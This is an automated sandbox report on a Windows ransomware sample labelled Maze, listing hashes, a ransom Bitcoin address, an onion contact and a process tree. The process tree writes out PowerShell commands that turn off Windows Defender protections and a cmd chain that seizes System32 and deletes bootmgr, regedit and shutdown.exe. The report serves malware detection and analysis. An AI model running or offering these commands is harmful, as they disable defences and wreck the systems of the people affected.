Analysis
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max time kernel
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max time network
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platform
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resource
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submitted
05-09-2021 05:02
Static task
static1
Behavioral task
behavioral1
Sample
b53415f6_lcvDB3iF4J.exe
Resource
win7-en
General
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Target
b53415f6_lcvDB3iF4J.exe
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Size
7.4MB
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MD5
b53415f6d38ce4831cbf327daf5201b4
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SHA1
778d6f976e10d201903c76adcd18f14e685a3704
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SHA256
4efcc256493c1c7d8f695bee676beab4aaf3d3d1e1847cf8462c38af1107b7b8
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SHA512
0c2e2fd8ebfe175dc844d64ad9e85f8ab23f8e63b75d7773a38bf68741071c0ea6aa91402b1ab5813a7d66b289650b1e868c56dd86636dcc26c37c07bdb55bb4
Malware Config
Extracted
C:\Users\Admin\Desktop\DECRYPT-FILES.TXT
bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe
http://mail2tor2zyjdctd.onion/
Signatures
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Maze
Ransomware family also known as ChaCha.
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Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
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Disables Task Manager via registry modification
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Executes dropped EXE 1 IoCs
pid Process 888 VSSVC.exe -
Modifies extensions of user files 6 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\SuspendUpdate.crw => C:\Users\Admin\Pictures\SuspendUpdate.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\UninstallReceive.crw => C:\Users\Admin\Pictures\UninstallReceive.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\BackupSync.png => C:\Users\Admin\Pictures\BackupSync.png.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\ExportConfirm.crw => C:\Users\Admin\Pictures\ExportConfirm.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\RedoFormat.raw => C:\Users\Admin\Pictures\RedoFormat.raw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe File renamed C:\Users\Admin\Pictures\SelectRedo.crw => C:\Users\Admin\Pictures\SelectRedo.crw.bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe VSSVC.exe -
Possible privilege escalation attempt 5 IoCs
pid Process 4760 takeown.exe 4776 icacls.exe 3556 takeown.exe 4796 icacls.exe 2056 takeown.exe -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion b53415f6_lcvDB3iF4J.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion VSSVC.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion VSSVC.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion b53415f6_lcvDB3iF4J.exe -
Modifies file permissions 1 TTPs 5 IoCs
pid Process 2056 takeown.exe 4760 takeown.exe 4776 icacls.exe 3556 takeown.exe 4796 icacls.exe -
resource yara_rule behavioral2/memory/716-116-0x0000000000F80000-0x0000000000F81000-memory.dmp themida behavioral2/files/0x000600000001ab20-130.dat themida behavioral2/files/0x000600000001ab20-131.dat themida behavioral2/memory/888-155-0x0000000000E50000-0x0000000000E51000-memory.dmp themida -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA b53415f6_lcvDB3iF4J.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA VSSVC.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 716 b53415f6_lcvDB3iF4J.exe 888 VSSVC.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 3672 powershell.exe 4072 powershell.exe 2140 powershell.exe 2236 powershell.exe 3672 powershell.exe 4072 powershell.exe 2140 powershell.exe 2236 powershell.exe 4072 powershell.exe 3672 powershell.exe 2140 powershell.exe 2236 powershell.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 716 b53415f6_lcvDB3iF4J.exe Token: SeDebugPrivilege 716 b53415f6_lcvDB3iF4J.exe Token: SeDebugPrivilege 3672 powershell.exe Token: SeDebugPrivilege 4072 powershell.exe Token: SeDebugPrivilege 2236 powershell.exe Token: SeDebugPrivilege 2140 powershell.exe Token: SeDebugPrivilege 888 VSSVC.exe Token: SeDebugPrivilege 888 VSSVC.exe Token: SeTakeOwnershipPrivilege 4760 takeown.exe Token: SeTakeOwnershipPrivilege 3556 takeown.exe Token: SeTakeOwnershipPrivilege 2056 takeown.exe -
Suspicious use of WriteProcessMemory 33 IoCs
description pid Process procid_target PID 716 wrote to memory of 3672 716 b53415f6_lcvDB3iF4J.exe 77 PID 716 wrote to memory of 3672 716 b53415f6_lcvDB3iF4J.exe 77 PID 716 wrote to memory of 3672 716 b53415f6_lcvDB3iF4J.exe 77 PID 716 wrote to memory of 4072 716 b53415f6_lcvDB3iF4J.exe 76 PID 716 wrote to memory of 4072 716 b53415f6_lcvDB3iF4J.exe 76 PID 716 wrote to memory of 4072 716 b53415f6_lcvDB3iF4J.exe 76 PID 716 wrote to memory of 2140 716 b53415f6_lcvDB3iF4J.exe 83 PID 716 wrote to memory of 2140 716 b53415f6_lcvDB3iF4J.exe 83 PID 716 wrote to memory of 2140 716 b53415f6_lcvDB3iF4J.exe 83 PID 716 wrote to memory of 2236 716 b53415f6_lcvDB3iF4J.exe 79 PID 716 wrote to memory of 2236 716 b53415f6_lcvDB3iF4J.exe 79 PID 716 wrote to memory of 2236 716 b53415f6_lcvDB3iF4J.exe 79 PID 716 wrote to memory of 888 716 b53415f6_lcvDB3iF4J.exe 84 PID 716 wrote to memory of 888 716 b53415f6_lcvDB3iF4J.exe 84 PID 716 wrote to memory of 888 716 b53415f6_lcvDB3iF4J.exe 84 PID 888 wrote to memory of 4340 888 VSSVC.exe 88 PID 888 wrote to memory of 4340 888 VSSVC.exe 88 PID 888 wrote to memory of 4340 888 VSSVC.exe 88 PID 4340 wrote to memory of 4760 4340 cmd.exe 90 PID 4340 wrote to memory of 4760 4340 cmd.exe 90 PID 4340 wrote to memory of 4760 4340 cmd.exe 90 PID 4340 wrote to memory of 4776 4340 cmd.exe 91 PID 4340 wrote to memory of 4776 4340 cmd.exe 91 PID 4340 wrote to memory of 4776 4340 cmd.exe 91 PID 4340 wrote to memory of 3556 4340 cmd.exe 92 PID 4340 wrote to memory of 3556 4340 cmd.exe 92 PID 4340 wrote to memory of 3556 4340 cmd.exe 92 PID 4340 wrote to memory of 4796 4340 cmd.exe 93 PID 4340 wrote to memory of 4796 4340 cmd.exe 93 PID 4340 wrote to memory of 4796 4340 cmd.exe 93 PID 4340 wrote to memory of 2056 4340 cmd.exe 94 PID 4340 wrote to memory of 2056 4340 cmd.exe 94 PID 4340 wrote to memory of 2056 4340 cmd.exe 94
Processes
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C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe"C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe"1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:716 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent NeverSend2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4072
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3672
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2236
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting Disable2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2140
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C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"2⤵
- Executes dropped EXE
- Modifies extensions of user files
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:888 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && takeown /f C:\Windows\System32\shutdown.exe && icacls C:\Windows\System32\shutdown.exe /grant %username%:F && del C:\Windows\System32\shutdown.exe && Exit3⤵
- Suspicious use of WriteProcessMemory
PID:4340 -
C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System324⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:4760
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32 /grant Admin:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4776
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C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System32\drivers4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:3556
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\drivers /grant Admin:F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4796
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C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System32\LogonUI.exe4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2056
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